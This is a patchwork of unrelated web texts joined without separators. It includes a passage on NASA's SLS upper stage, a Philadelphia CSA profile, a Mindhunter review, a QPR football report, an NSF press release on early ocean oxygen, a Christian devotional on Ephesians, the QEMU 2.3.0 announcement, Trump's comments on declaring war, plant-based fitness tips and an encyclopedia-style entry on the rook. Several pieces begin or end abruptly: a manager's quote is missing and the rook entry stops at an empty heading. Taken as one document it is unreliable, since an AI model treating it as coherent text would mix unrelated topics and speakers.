Evaluations into the EUS have already reached the Point of Depature (POD) stage, baselining the SLS Block IB Upper Stage with four RL-10-C1 engine stage – a switch away from the now defunct J-2X engines – with a maximum propellant load of 285,000 lbm.
Per the POD overview (L2), the EUS will carry a length NTE (Not To Exceed) 60 ft, an LH2 tank diameter of 8.4 m, and a LOX tank diameter of 5.5 m.
While it is likely the RL-10s will be the engine of choice, other options include utilizing four MB-60 engines – which would provide even more power to the stage.
It has also been suggested that the Block 1B version of SLS, sporting the EUS and advanced boosters could provide all the required upmass capability NASA envisions for the rocket, which would allow for the funds allocated for the final evolution to the Block 2 SLS being redirected into payloads and missions.
(Images: L2’s SLS Sections and L2 artist Nathan Koga for some of the EUS and SLS in her correct color scheme of an unpainted core.)
(NSF and L2 are providing full exploration roadmap level coverage, available no where else on the internet, from Orion and SLS to ISS and COTS/CRS/CCDEV, to European and Russian vehicles.)
The way a CSA works is the consumer pays upfront for a season’s worth of produce. Philly Foodworks is a middleman in this process, connecting small farms that might not have the infrastructure to distribute their own product with customers from across the city. Its summer CSA program sourced 25 percent of its food from farms within Philadelphia County, and the rest from nearby farms in South Jersey and Lancaster County.
Generocity.org wrote about Philly Foodworks last spring, just prior to the launch of their first CSA program. Now that the summer CSA share is over — and the winter share is just beginning — we wanted to check in and see what the start-up learned in its first year.
Co-founder Dylan Baird explained that there were difficulties in working with small food producers, such as lack of product availability, but that it was ultimately a very flexible system. For example, if one producer was short on a product, he would reach out within the network to fill the gap.
Buying from small producers such as urban farms, however, also means higher prices, an issue that most sellers of organic, local products have to deal with.
“Customers wanted some more price competitive options,” said Baird. “Its difficult, because naturally locally-made, small batch products are going to be a little more on the expensive side.”
Although, Baird added, the CSA model helps farmers make their operations more efficient and thus price competitive by paying them ahead of the season.
While Philly Foodwork’s model leans heavily on a large networks of producers and local businesses, many of its challenges were internal and logistical.
“The thing that took a long time to figure out and was almost more challenging was figuring out all of our own systems,” Baird noted.
This included learning how to best pack the CSA boxes and keeping track of different inventories of products.
“It’s a slightly more complicated system, I think, than a lot of other retail systems,” said Baird. “You don’t just have an inventory that you’re drawing down from — you’re ordering stuff based on orders you get from customers.”
From our Partners
Shifting Gears for Winter
The winter CSA has begun, and it differs in a few significant ways from the summer share, which ended at the end of October. Besides different Baird said that Philly Foodworks is sourcing non-local produce for the first time for the winter share. Specifically, it is sourcing citrus fruits.
“Right now it is only citrus because the overwhelming customer feeling was ‘Hey, if i’m going to be buying citrus, why not buy it from you guys,'” he said.
The winter share will also include prepared foods for the first time, including soups from Good Spoon Soups.
For more information, check out the Philly Foodworks blog, which digs further into the company’s operations.
Photo via Philly Foodworks
Mindhunter isn’t the first attempt to tweak the procedural, though recent efforts haven’t typically matched the commercial heights of the original. Hannibal successfully infused its chosen framework with homoeroticism, art-film flourishes, and meditations on mental illness, but even with established intellectual property at its back, Bryan Fuller’s fever dream was canceled after just three seasons on NBC. True Detective’s first season hooked audiences on a heady cocktail of Southern noir and occult conspiracy only to deliver something much more prosaic in Season 2. The Killing never overcame the oxymoron of the “anti-cop cop show.” And on a much sillier note, ABC’s Time After Time was an abortive, unholy fusion, grafting an of-the-moment vogue for time travel onto the centuries-old mystery of Jack the Ripper. In most cases, viewers’ appetite for novelty proved less compelling than network executives had clearly guessed.
Mindhunter’s pedigree puts it in a slightly more privileged position than those network experiments. Fincher, an executive producer along with Charlize Theron, also directed the first two hours—the only episodes, out of an eventual 10, provided to critics ahead of Friday’s premiere. It’s obvious why Fincher would once again be attracted to the true-crime story of a crew of obsessives fighting crime in the late 20th century: Mindhunter is set precisely 10 years after the events of Zodiac, in 1979, and in lieu of the Zodiac killer, it’s David Berkowitz—better known as the Son of Sam—who looms over the popular imagination. The promise of resurrecting the sensibility of a film that was named in a recent BBC critics’ poll as one of the best films of the 21st century just as it celebrates its 10-year anniversary grants Mindhunter a baseline level of anticipation. So does Mindhunter’s status as Fincher’s second foray into television after House of Cards, a show now five seasons and many Emmy nominations into a successful run.
Like Zodiac, Mindhunter is also based on a book, subtitled Inside the FBI’s Elite Serial Crime Unit and coauthored by real-life Bureau profiler John Douglas. Douglas provides the basis for protagonist Holden Ford (Jonathan Groff, in his first series lead role after HBO’s tragically short-lived Looking), an idealistic agent who becomes obsessed with criminal psychology and what he calls “sequence killers” when he’s retired from the field to teach at Quantico. Mindhunter’s basis in fact and history gives it a leg up over the sometimes absurd inventions of Criminal Minds or, memorably, textbook shark-jump Dexter; Douglas gleaned many of his insights into serial killers’ thinking by interviewing imprisoned subjects, and so does Ford. The second episode features several conversations with a chilling Edmund Kemper, and the series’ slick opening credits—a prestige signifier if there ever was one—intercuts close-ups of a tape recorder with brief close-ups of mutilated corpses.
More than its creative team or its origin story, what chiefly distinguishes Mindhunter from its peers is its rhythm. The procedural is synonymous with the self-contained episode and therefore a rapid clip, with a one-to-one ratio of cases to solve and hours it takes to solve them that’s only occasionally, if ever, interrupted by a season-long arc. But as a streaming series, a format that encourages long-term stories over distinct episodes with the knowledge that viewers will be consuming a season over hours instead of weeks, Mindhunter slows that story down—way down.
Its premise, as outlined in its trailers and press materials, is that Ford, like Douglas before him, will start using the takeaways from his interviews to capture still-active killers and perfect the science of profiling. After two hours and a fifth of its season, the actual show still hasn’t arrived at that sustainable blueprint—possibly because Penhall and his cowriter Jennifer Haley have the luxury of time, having already been renewed for a second season. Instead, Mindhunter uses its first hour to land Ford in the Academy and introduce him to his Manic Pixie Dream Grad Student Debbie (Hannah Gross), who teaches him the virtues of cunnilingus and Dog Day Afternoon, and partner Bill Tench (Holt McCallany), the grizzled, no-nonsense veteran to Ford’s wide-eyed novice. The second hour establishes Ford’s experimental interviews and gives them tentative approval from Bureau higher-ups, but there are still dots that need to be connected and key players who remain offstage. An all-too-brief cold open hints at a fledgling case for Ford to crack, but the agent still hasn’t connected the dots between how killers behind bars could lead him to psychopaths still in the wild. The female lead, Fringe’s Anna Torv, has yet to be introduced—and given how thin the rest of Mindhunter’s women are, she’s sorely needed.
It’s too early to tell whether Mindhunter’s slow burn pays off. Watching the initial episodes, it’s often difficult to discern if one is simply so accustomed to a case-of-the-week structure that its mere absence feels disorienting or if Mindhunter has failed to come up with a central narrative compelling enough to replace it. Executed correctly, Mindhunter aspires to be the origin story for the already well-populated TV sector the show is inserting itself into—a story about the discovery and refinement of profiling as well as its applications. Before it can become that, though, there are obstacles Mindhunter must overcome that go beyond pace: exposition-heavy, tell-don’t-show dialogue that can’t get out of Fincher’s way, for example, and an eye-roll-inducing reliance on unsexy sex scenes that feel both perfunctory and unnecessary.
Three goals in the final 20 minutes helped QPR ease the pressure on manager Chris Ramsey after a 3-0 victory over MK Dons at Loftus Road.
With just one win in their last seven Sky Bet Championship matches, Ramsey has come under fire in recent weeks but Jay Emmanuel-Thomas' 70th-minute goal helped to ease the tension inside Loftus Road.
Matt Phillips' emphatic finish and Junior Hoilett's first goal since April settled proceedings to consolidate QPR's top-10 position.
Paul Konchesky had their best chance in a first half as the Hoops dominated, with the full-back bursting into the box and collecting Tjaronn Chery's well-timed pass, but his weak shot beyond Dons goalkeeper David Martin was cleared off the line by Kyle McFadzean.
Martin had earlier kept out efforts from Chery and Emmanuel-Thomas , before Karl Henry - restored to the Rangers side in the absence of the injured Sandro - was just unable to connect with Phillips' low cross.
Jay Emmanuel-Thomas scored the third goal for QPR against MK Dons on Saturday
QPR continued to press after the interval and went close when Grant Hall headed over from Phillips' left-wing corner.
Ramsey, whose continued selection of just one striker has angered many fans, made a change on 57 minutes, replacing Massimo Luongo with another midfielder in Leroy Fer - a substitution which was greeted with a barrage of boos.
Henry, whose form this season has been poor, was also the target of jeers before being substituted and the mood would have darkened further had keeper Rob Green not produced a fine save to deny Simon Church at point-blank range after the forward had spun away from Clint Hill.
It proved to be a crucial moment in the match, because shortly afterwards QPR broke the deadlock when Emmanuel-Thomas scored his third league goal of the season since he was brought in to replace injured top scorer Charlie Austin.
Nedum Onuoha played the ball into the box and Emmanuel-Thomas eluded two challenges with a lovely piece of control and then a nutmeg before shooting past Martin from close range.
The visitors would have equalised had a stretching Church been able to apply the finishing touch at the far post to Josh Murphy's low cross.
But their hopes of a comeback were then crushed Phillips doubled Rangers' lead with 13 minutes remaining, gathering Daniel Tozser's chip and then cutting inside Murphy before firing into the far corner of the net.
And Hoilett added the third in the 88th minute, hooking the ball over his shoulder from a couple of yards out after Tozser's corner had been headed on by Hill.
Martin prevented a fourth Rangers goal by saving with his legs to deny Fer in injury time.
QPR boss Chris Ramsey:
"I look at the job Karl [Henry] does and he does a lot of unseen work. There are players who look pretty and open things up and generally get the plaudits, but you also need players like him who are prepared to run and tackle. We were on top for most of the game but didn't take all our chances and when you play against a team that pass the ball like MK Dons you know there's always a chance of them getting in behind you. We're still in the gelling process and that's something people have to realise. But we will get it right."
MK Dons boss Karl Robinson:
Press Release From: National Science Foundation
Posted: Thursday, October 29, 2009
Image: Even low concentrations of oxygen can have profound effects on ocean chemistry Photo of Australia's red-weathered hills. Credit: Ariel Anbar, ASU
Scientists widely accept that around 2.4 billion years ago, the Earth's atmosphere underwent a dramatic change when oxygen levels rose sharply.
Called the "Great Oxidation Event" (GOE), the oxygen spike marks an important milestone in Earth's history, the transformation from an oxygen-poor atmosphere to an oxygen-rich one, paving the way for complex life to develop.
Two questions that remain unresolved in studies of the early Earth are when oxygen production via photosynthesis got started, and when it began to alter the chemistry of Earth's ocean and atmosphere.
Now a research team led by geoscientists at the University of California at Riverside (UCR) corroborates recent evidence that oxygen production began in Earth's oceans at least 100 million years before the GOE.
"Their findings go a step farther," says Enriqueta Barrera, program director in the National Science Foundation (NSF)'s division of earth sciences, which funded the research along with NASA, "to demonstrating that even very low concentrations of oxygen can have profound effects on ocean chemistry."
Study results appear in this week's issue of the journal Science.
To arrive at their results, the researchers analyzed 2.5 billion-year-old black shales from Western Australia. Fossilized pieces of the ancient seafloor, the fine layers within the rocks allowed the researchers to page through ocean chemistry's evolving history.
The shales revealed that episodes of hydrogen sulfide accumulation in the oxygen-free deep ocean occurred nearly 100 million years before the GOE, and up to 700 million years earlier than such conditions were predicted by past models.
Scientists have long believed that the early ocean, for more than half of Earth's 4.6 billion-year history, was characterized by high amounts of dissolved iron under conditions of essentially no oxygen.
"The conventional wisdom has been that appreciable atmospheric oxygen is needed for sulfidic conditions to develop in the ocean," said Chris Reinhard, an earth scientist at UCR and one of the research team members.
"We found, however, that sulfidic conditions in the ocean are possible even when there is very little oxygen, below about 1/100,000th of that in the modern atmosphere."
Even very low oxygen levels in the atmosphere, the mineral pyrite can weather on the continents, resulting in the delivery of sulfate to the ocean by rivers. Sulfate is the key ingredient in hydrogen sulfide formation in the ocean.
Timothy Lyons, a UCR biogeochemist who led the research, explained that the hydrogen sulfide in the ocean is a fingerprint of photosynthetic production of oxygen 2.5 billion years ago.
"A pre-GOE emergence for oxygenic photosynthesis is a matter of intense debate, and its resolution lies at the heart of understanding the evolution of diverse forms of life," he said. "We have found an important piece of that puzzle."
"Our data point to oxygen-producing photosynthesis long before concentrations of oxygen in the atmosphere were even a tiny fraction of what they are today, suggesting that oxygen-consuming chemical reactions were offsetting much of the production," said Reinhard.
The researchers argue that the presence of small amounts of oxygen may have stimulated the early evolution of eukaryotes--organisms whose cells bear nuclei--millions of years prior to the GOE.
"This initial oxygen production set the stage for the development of animals almost two billion years later," Lyons said. "The evolution of eukaryotes had to take place first."
The findings also have implications for the search for life on extrasolar planets.
"Our findings add to growing evidence suggesting that biological production of oxygen is a necessary but not sufficient condition for the evolution of complex life," Reinhard said.
"A planetary atmosphere with abundant oxygen would provide a very promising biosignature.
"But one of the lessons is that just because spectroscopic measurements don't detect oxygen in the atmosphere of another planet, doesn't necessarily mean that no biological oxygen production is taking place."
To analyze the shales, Reinhard first pulverized them into a fine powder in Lyons's laboratory.
Next, the powder was treated with a series of chemicals to extract different minerals. The extracts were then run on a mass-spectrometer.
"One exciting thing about our discovery of sulfidic conditions occurring before the GOE is that it might shed light on ocean chemistry during other periods in the geologic record, such as a poorly understood 400 million-year interval between the GOE and around 1.8 billion years ago," Reinhard said, "a point in time when the deep oceans stopped showing signs of high iron concentrations.
"Now perhaps we have an explanation. If sulfidic conditions could occur with very small amounts of oxygen around, then they might have been even more common and widespread after the GOE."
Said Lyons, "This is important because oxygen-poor and sulfidic conditions almost certainly impacted the availability of nutrients essential to life, such as nitrogen and trace metals. The evolution of the ocean and atmosphere were in a cause-and-effect balance with the evolution of life."
Reinhard and Lyons were joined in the research by Clint Scott of UCR; Ariel Anbar of the Arizona State University, Tempe; and Rob Raiswell of the University of Leeds, United Kingdom.
-NSF-
Media Contacts
Cheryl Dybas, NSF (703) 292-7734 cdybas@nsf.gov
Iqbal Pittalwala, UC-Riverside (951) 827-6050 iqbal@ucr.edu
// end //
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“… according to the kind intention of His will.” (Ephesians 1:5b NASB)
“He freely chose to do this” (Ephesians 1:5b God’s Word)
God has a free will. God decides what He wants to do of His own free choice, and then He does it. He always does what is right. He does what is the best and most efficient way of doing things. He saves humankind by the best and most efficient means possible. On the issue of eternally saving fallen man, the best and only way to effect salvation was infinitely expensive. To do the right and best thing which invites an eternally wonderful benefit for all people of every generation and race gives Him the utmost pleasure. He does things according to the kind intention of His will and that is always to benefit man kind; especially those who exercise faith in Jesus Christ. It is by this faith that we are saved. And even the faith we exercise to become saved is given to us by God Himself. He freely chose to do the things that we have been talking about thus far in these pages, and He is delighted and content to do what He does. That is God for you!
We are assured that we have faith in a God who is both infinitely wise, immaculately just, and incredibly generous. To believe these things is absolutely consistent with scripture. When push comes to shove, it is a “no-brainer” of pure logic that God is good all the time; gracious, loving and constantly mindful of man. As Charles Finney would no doubt forcefully assert, it is so reasonable an assertion that we do not have the need to ransack the bible in order to substantiate such a concept. Who would worship a God that is not infinite in His attributes, and perfectly good in His activities? God’s wisdom, love, goodness, generosity, and kindness, all overflowing with great purpose must be the at the very roots of what is our confidence in God’s essential character, otherwise, why worship Him from our free will at all? Could we even call Him God who did not tick all these boxes? We are confronted with His glorious nature and Personhood when we think on these things.
To take these thoughts a step further, we need to be steeped and marinated in the conviction that if God is good and pure, holy and Almighty, then all that He plans, does and says is purely an outflow of His goodness and greatness. His intentions must be filled with love, generosity and purity. It is illogical, not to mention unbiblical, to have faith in Him who we boast is perfect in every conceivable attribute, but that He makes imperfect plans and relationships with man. Tosh! A pox on the very thought!
From that conclusion we boldly declare that the route God took towards redeeming sinful man and removing the curse that fills the cosmos is, without fear of contradiction, the best, the purest and the most efficient mechanism that infinite goodness and power could create in order to reverse the power of sin and death. God has a perfect goal for humankind, a goal that, when we truly understand it will give us deep satisfaction, joy and thankfulness.
But here is the jaw dropper. We do not need to know everything about the plan in order to be part of it and to be included within its parameters. All we really need to know is that the whole package is wrapped up in the person of Jesus Christ, and that by encountering Him by faith and entering into a personal relationship with Him, one reaps the entire benefits of what the Saviour brings to humanity. To be sure, that relationship with Christ has to be persevered in, and one needs to be seeking the kingdom with everything one has to make sure of what one has in Christ, but simple faith is the front door to all the mansions with God.
God has chosen the best goal, the best means of achieving that goal, and pursues the fulfilment of that goal in the excellent and most efficient means possible. How great is God! This plan, purpose, and means of its achievement is what God freely chose to do and it goes along with the kindness of His intention, giving Our Father who is in heaven deep never ending joy. Dealing with sin, sickness, death, hell and the devil is thus seen almost as “incidental” to the ultimate end purpose. Nevertheless ridding the cosmos of all those evils was the most incredibly costly activities that God could ever do and is the crux of the gospel message. In this we see the truth that our creed is certainly a list of historical events.
The unchangableness of God and His purposes is yet a straightforward extension of the above pathway of thought. “I am the Lord. I change not” (Malachi 3:6) is exactly what God Himself says in the Bible. The bible insists, along with human reason, that God cannot change. His plans and purposes stretch across all eternity and simply have not, will not and cannot be altered in any way. This statement is one of the incredible rock like truths of the New Testament message. It is this straightforward statement that allows us to preach, teach and declare to all that if anybody, no matter who, sincerely asks Christ to save them, their future eternal salvation is assured. “He that has the Son has life. He that has not the Son of God has not life” (1 John 5:12). God is not forced to be so certain and rock like by arguement or necessity. These are plain facts of God’s attributes and His choices; He is not a man to change His mind. If any aspect of God’s responses were not of His free will and personal choice, the plan of salvation could not be as virtuous of itself as evangelical preachers declare. It is the plain fact that all God’s choices are made of His own free will that makes them so downright worthy of the most extreme praise and thankfulness!
Isaiah 46:9-10 in the Expanded Bible says so clearly, “Remember ·what happened long ago [ the former things of antiquity]. Remember that I am God, and there is no other God. I am God, and there is no one like me. From the beginning I told you what would happen in the end. A long time ago [From ancient times] I told you things that have not yet happened. When I plan something, it happens […saying, “My counsel will stand”]. What I want to do, I will do.” Is it possible for language to be any plainer.
From all this we Christians revel in the fact that God’s eternal purposes, as expressed here in the first fourteen verses of Ephesians are the firmest, rock like immovable facts of the gospel message. One cannot enter into the joy, the power, the grace, and the love of God without embracing this purpose, and so embracing the God who purposed it so. Without faith, hope and love in this incredibly far-reaching message one is lost forever both to God and all joy. The only thing that stops people entering into this plan is selfishness, unbelief, and/or ignorance of the call of God to have faith in Christ.
“He spoke, and it happened. He commanded, and it ·appeared [stood; Heb. 11:3]. The Lord ·upsets [frustrates] the plans [counsels] of nations; he ·ruins [foils] ·all their plans [the plans of the peoples]. But the Lord’s plans [counsels] will stand [endure] forever; his ideas [the plans of his heart] will last from now on.” So says Psalm 33:11 in the Expanded Bible.
Notwithstanding what we have discussed on previous pages, concerning eternity being outside of time, there is a seeming logical sequence of events that must have taken place in the planning process of the purposes of God. By the very nature of making plans within the context of time, surely the same process that I am about to suggest must be consistent even outside of time for God’s eternal plan to have come into being.
Working backwards we must take note that God could not have known what He could do or not do to save humankind must have been known before He decided on and initiated His plan. He could not have decided and made up His mind what to do until He had covered all His options. Until every conceivable pathway of action was considered God could not have chosen the very best way. In choosing that plan God also had to initiate His purpose and intention to overcome every obstacle to his intended goal, and then make the way around those obstacles plain. This means that His fore-knowledge of what could be done must have processed the queries of how, before he could say when. The purpose must have flowed out of His fore-knowing. God, of course, has infinite prescience, that is, foreknowing.
But digging further, and I thank God for Charles Finney’s insights into this non-abstract furthering of my meditation here, Thinking about what could be done must have taken place before purposing to do. So in simple chronology, God foreknew the mess that sin would bring first of all. God then examined every single option He could take of His own free will. Next, He decided on His purposeful action to ensure that the end product of creation would be as great, if not greater than His purposes seemed to be with Adam and Eve in the garden.
In the immediately previous couple of paragraphs, I am talking as a man locked in our space-time linear existence. We have to continually keep in mind that God’s foreknowledge is eternal, God’s purpose is eternal, and God’s knowledge of the best way and most efficient way to save man that is consistent with all His attributes is also eternal.
This glorious concept of all things with God being eternal and infinite reduces thoughts on these kind of issues to concurrent extremes of exhilaration at His greatness, and at the same time the futility of trying to see in chronological order (chromos meaning “of time”) what actually must have taken place “before the foundation of the world (that is: before time began).
God’s purposes, set outside of time, requires means within time to bring them to fruition. To bring out God’s purpose of seeing the entire creation in a state of submission to Christ, we have to stretch our minds to see God’s incredible providence and dealing with every single person that ever has or ever will live and how the gospel message has been, is doing or will be presented to them. Six billion people alive on the planet as I write. Six billion people to be providentially dealt with. Six billion people to have foreknowledge of! Six billion people to make plans for! And we must get some vague grasp of the greatness of God when we declare with full certainty that if every single person of the six billion that are on the earth today knelt simultaneously to enquire of God, every one of them would have His full attention in a personal “one to one” interview with the Almighty. Oh! The greatness of God!
Where am I going with all this? I am merely laying the ground to say with clear biblical authority and the understanding of my readers, that God Himself is delighted, pleased and content with the plan He has set in motion to save anybody who is reading these pages. It was from the kind intention of His will that the purpose of God is not only presented to us through Christ, but activated by our personal faith in Christ. Faith in Christ presses the button. What’s that proverb about huge doors swinging on tiny hinges?
From: Michael Roth Subject: [Qemu-devel] [ANNOUNCE] QEMU 2.3.0 is now available Date: Mon, 27 Apr 2015 10:41:33 -0500 User-agent: alot/0.3.4
On behalf of the QEMU Team, I'd like to announce the availability of the QEMU 2.3.0 release. This release contains 1900+ commits from 184 authors. http://wiki.qemu.org/download/qemu-2.3.0.tar.bz2 The full list of changes are available at: http://wiki.qemu.org/ChangeLog/2.3 Highlights include: * Support for 32-bit KVM guests on 64-bit ARM hosts * Support for running KVM under valgrind * New IvyBridge CPU model for x86 guests * Xen: support for ioreq-server API * New 5KEc and 5KEf MIPS64r2, and M14K and M14Kc MIPS32r2 microMIPS CPU models for MIPS guests * Basic support for transactional memory extentions in PowerPC guests * Improved VGA support for little-endian PPC/pSeries guests * PCI bus support for s390x guests * Support for automatic guest device unplug when passthrough devices are unbound from VFIO host driver * Improved UI performance/support for GTK+/VNC/SDL/Spice, and VNC support for multiseat * Performance improvements for virtio-blk emulation: asynchronous SCSI request handling, and disk read merging. * QEMU Guest Agent: now also supports file operations in Windows guests, can be used to enable/disable memory blocks in linux guests in support for memory hotplug. * Migration can now include a JSON description of migration stream to aid in identifying incompatibilities betweens guests/hosts. * And lots more... Thank you to everyone involved! Sincerely, Michael Roth
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“It wouldn’t bother me at all doing that,” Mr. Trump said. “We probably should have done that in the first place.”
“I’ll study the facts, but I think right now, I would have no problem with doing it, because we are at war,” he said. “By the way, the world is at war.”
Mr. Trump had been questioned on Monday’s “The O’Reilly Factor” on Fox News on whether he would support asking Congress for a declaration of war to fight terrorism and combat groups like the Islamic State, al Qaeda and the Taliban.
Pressed further on whether he would actually ask Congress to pass a declaration of war if elected, Mr. Trump said: “I would have no problem with doing it.”
“Look, we are at war with these people, and they don’t wear uniforms — it’s not your traditional war where it’s a war against Germany, Japan or whoever,” Mr. Trump said. “This is a war against people that are vicious, violent people that we have no idea who they are, where they come from.”
“We’re allowing tens of thousands of them into our country now, so on top of wars on foreign land, wait ‘till you see what happens in the future,” he said. “It’s probably not going to be pretty. I hope I’m wrong about that, but it’s probably not going to be pretty.”
“We’re allowing people into our country — we don’t know who they are, where they come from,” he said. “They happen to have cell phones. Some of ‘em have cell phones with the ISIS flag on ‘em. … We have to be very tough and very vigilant and very smart, or we’re going to be in big trouble.”
Members of Congress of both parties have questioned the Obama administration’s reliance on a 2001 Authorization for Use of Military Force (AUMF) as a legal justification for the current campaign against the Islamic State terrorist group, also known as ISIS or ISIL.
President Obama submitted a request to Congress last year to officially authorize the war, but it was criticized on Capitol Hill, with some saying it went too far in allowing limited use of ground troops and others saying it didn’t do enough to lay out a comprehensive plan to stop the terrorists.
But thanks to the stories of dozens of high-profile, elite athletes turning to plant-based diets for a performance advantage in recent years—including Olympic medalists, world record holders, and even the occasional mainstream superstar—the myth that plant-based diets don’t work for sports has finally been uprooted.
But why do whole plant foods work so well for everything from endurance sports to powerlifting? Mainly, it’s because their nutrient density and anti-inflammatory properties—the same properties that make them so protective and even disease-reversing in the long term—make them ideally suited for fueling and repairing your body after workouts.
Indeed, “faster recovery” is what just about every elite athlete who chooses this diet cites as the primary benefit to his or her performance.
And that’s been exactly my experience. When I began eating a plant-based diet eight years ago, I did so for ethical reasons, all but assuming that it would pose a serious a challenge to my marathon training. But when I qualified for the Boston Marathon just six months after making the transition, I knew I was onto something.
Since then, I’ve run many longer races, including several 50-milers and a 100-mile ultramarathon, and I haven’t looked back (and crucially, I’ve stayed almost entirely injury-free).
These days, there’s little doubt that a plant-based diet and fitness can go hand-in-hand. So if you’re already eating a plant-based diet, how do you add fitness to your healthy lifestyle?
Here are five of the most important tips I can offer:
1. Start small.
As with any endeavor (just like when you started eating plant-based, I bet!), it’s tempting to dive in and really go for it. But when it comes to fitness, I’d advise against taking on too much, too soon.
A mountain of new habit-change research shows that most people are more likely to make changes last when they minimize the strain on their willpower. Think of willpower like a muscle: It can grow and strengthen over time, but only if you “train” it.
So instead of committing to a full-on fitness program right from the get-go—say, a weekly program of three gym workouts and three 30- to 45-minute cardio sessions—what if you started by committing to a five-minute jog (or jog-walk) each day? If you find yourself procrastinating on even that, make it two minutes.
Only after you’ve put together a string of these tiny “wins” should you let yourself increase the duration. And even though you won’t notice many physical benefits when your exercise volume is so small, with each little run you’ll be changing your brain, adding a fiber to what will eventually become a cable, a habit that’s automatic—even once the duration and intensity of your workouts is much greater.
Best of all, you’ll be doing so without excessive pain or effort, which will keep you in the game while you’re learning it.
2. You might need more calories (but not just protein)!
The belief that athletes need more protein has persisted for decades, passed down from coach to athlete as common knowledge not to be questioned.
Thankfully, the recent successes of plant-based athletes have given us lots of ammunition with which to question it.
While the protein myth isn’t going to disappear overnight, many plant-based doctors, coaches, and dietitians now suggest that although it’s true that athletes need more calories to support their activity levels than sedentary individuals do, increasing those calories with whole foods automatically increases your protein intake (and total carbohydrate and fat intake, too).
For most people, this happens without having to think about it: Listen to your body’s hunger signals, and you’ll likely find yourself eating slightly more of the same whole plant foods to support your new athletic pursuits.
If, however, you find yourself struggling to keep weight on, then focus on calorically dense whole plant foods: sweet potatoes, beans, avocados, nuts, and seeds are favorites of plant-based athletes who want to pack in the calories without sacrificing long-term health by eating processed powders or sports nutrition products.
3. Fuel your workouts.
If you’re just getting started with fitness, you won’t need to take in any extra calories for most of your workouts. But once the intensity increases, and especially if the duration of your workouts extends past an hour or so, you’ll find you perform better and get more from your workout if you eat something to replace the fuel your body burns through as you exercise.
So for those more intense workouts, aim to eat a few pieces of fruit (and possibly more, if your energy runs low near the end of your workouts) in the hour before you start. For very long workouts, like a distance run in marathon training, you should eat a larger, starchier meal (oatmeal or whole-grain pancakes, for example) several hours earlier.
During a workout, whole medjool dates (with the pits removed and replaced with a Brazil nut) are one of my favorite sources of quick, whole-food calories. Experiment to find out what works well for you and what your body tolerates while it’s in motion.
As your workouts get longer and more intense, you’ll also want to make sure you’re giving your body the energy it needs to recover. A whole-grain pasta dish with lentils or veggies, Quinoa Primavera, or a hearty salad with beans are examples of great post-workout choices.
4. Hydrate with water.
It’s important to drink fluids to replace the water you lose through sweat. So how much should you drink?
If you’re tuned into your body’s signals and your workouts aren’t too long, you might be fine just drinking to thirst. Otherwise, plan on 4 to 6 ounces of water every 10 to 20 minutes during exercise.
Should you get involved in longer (say, three hours or more) workouts, like those associated with marathon training, or those where you’re sweating an immense amount, you’ll want to add some electrolytes to your water to avoid hyponatremia, a dangerous condition often associated with overhydration. But for typical, shorter workouts, the natural sodium and potassium in many fruits, or a pinch of salt added to a homemade sports drink, will keep your electrolyte levels balanced.
5. Don’t neglect recovery!
Remember what so many elite athletes cite as the main benefit of a plant-based diet? That’s right, recovery!
Your anti-inflammatory and nutrient-rich diet of whole plant foods will help you recover quickly, but some of the job is still up to you. Don’t work out hard two days in a row; give your muscles (and that includes your heart!) a chance to recover. Remember, exercise works mostly by tearing down muscle fibers in order to stimulate repair and strengthening, so make sure you allow time for that to happen before hitting the gym, roads, or trails again.
Of course, there’s nothing wrong with doing a light workout almost every day, but if the intensity of your workout creeps beyond the point where you can comfortably carry on a conversation, build in a day of recovery or very light activity before doing another hard one.
The rook (Corvus frugilegus) is a member of the family Corvidae in the passerine order of birds. It is found in Eurasia. It was given its binomial name by Carl Linnaeus in 1758,[2] The binomial is from Latin; Corvus is for "raven", and frugilegus is Latin for "fruit-gathering", from frux, frugis, "fruit", and legere, "to pick".[3] The English name is ultimately derived from the bird's harsh call.[4]
Description [ edit ]
This species, at 45–47 cm in length, is similar in size to or slightly smaller than the carrion crow, with black feathers often showing a blue or bluish-purple sheen in bright sunlight. The feathers on the head, neck and shoulders are particularly dense and silky. The legs and feet are generally black and the bill grey-black.
Rooks are distinguished from similar members of the crow family by the bare grey-white skin around the base of the adult's bill in front of the eyes. The feathering around the legs also looks shaggier and laxer than the congeneric carrion crow. The juvenile is superficially more similar to the crow because it lacks the bare patch at the base of the bill, but it has a thinner bill and loses the facial feathers after about six months. Collective nouns for rooks include building, parliament, clamour and storytelling.[5][6] Their colonial nesting behaviour gave rise to the term rookery.
Distribution and habitat [ edit ]
Rooks are resident in British Isles and much of north and central Europe but vagrant to Iceland and parts of Scandinavia, where they typically live south of the 60th latitude and in habitats that ravens dislike, such as open agricultural areas. The rook also occurs as an eastern species in Asia where it differs in being slightly smaller on average, and having a somewhat more fully feathered face. In the north of its range the species has a tendency to move south during autumn though more southern populations are apt to range sporadically also. The species has been introduced to New Zealand, with several hundred birds being released there from 1862 to 1874. Although their range is very localised, the species is now regarded as an invasive pest and is the subject of active control.[7] Even so, the ecological and economic impacts of rooks in New Zealand have not been well-studied.
Behaviour and ecology [ edit ]
A rook skull
The rook is a very social bird; in the evenings they gather in large flocks, often in thousands; this is felt by some, especially in cities, to be disturbing.
Diet [ edit ]
Food is predominantly earthworms and insect larvae, which the bird finds by probing the ground with its strong bill. It also eats cultivated cereal grain, smaller amounts of fruit, small mammals, acorns, small birds, their eggs and young, and carrion. In urban sites, human food scraps are taken from rubbish dumps and streets, usually in the early hours when it is relatively quiet. It can also be seen along the seashore, feeding on insects, crustaceans and edible flotsam. Like other corvids, rooks in urban or suburban areas will sometimes favour sites with a high level of human interaction, and can often be found scavenging for food in places such as theme parks and piers.
Breeding [ edit ]
Nesting in a rookery is always colonial, usually in the very tops of the trees. Branches and twigs are broken off trees (very rarely picked up off the ground), though as many are likely to be stolen from nearby nests as are collected from trees. Eggs are usually 3–5 in number, can appear by the end of February or early March and are incubated for 16–18 days. Both adults feed the young, which are fledged by the 32nd or 33rd day.
In autumn, the young birds of the summer collect into large flocks together with unpaired birds of previous seasons, often in company with jackdaws. It is during the autumn that spectacular aerial displays can be seen by adult birds that seem to delight in the autumn gales. The species is monogamous, with the adults then forming long-term pair bonds.[9]
Voice [ edit ]
The call is usually described as kaah—it is similar to that of the carrion crow, but usually rather flatter in tone. It is given both in flight and while perched, when the bird fans its tail and bows on each caw. Calls in flight are usually given singly, in contrast to the carrion crow's which are in groups of three or four. Solitary birds often "sing" apparently to themselves, uttering strange clicks, wheezes and human-like notes.
The Rooks Have Returned (1871) by In(1871) by Alexei Savrasov , the arrival of the rooks is an early portent of the coming spring
Intelligence [ edit ]
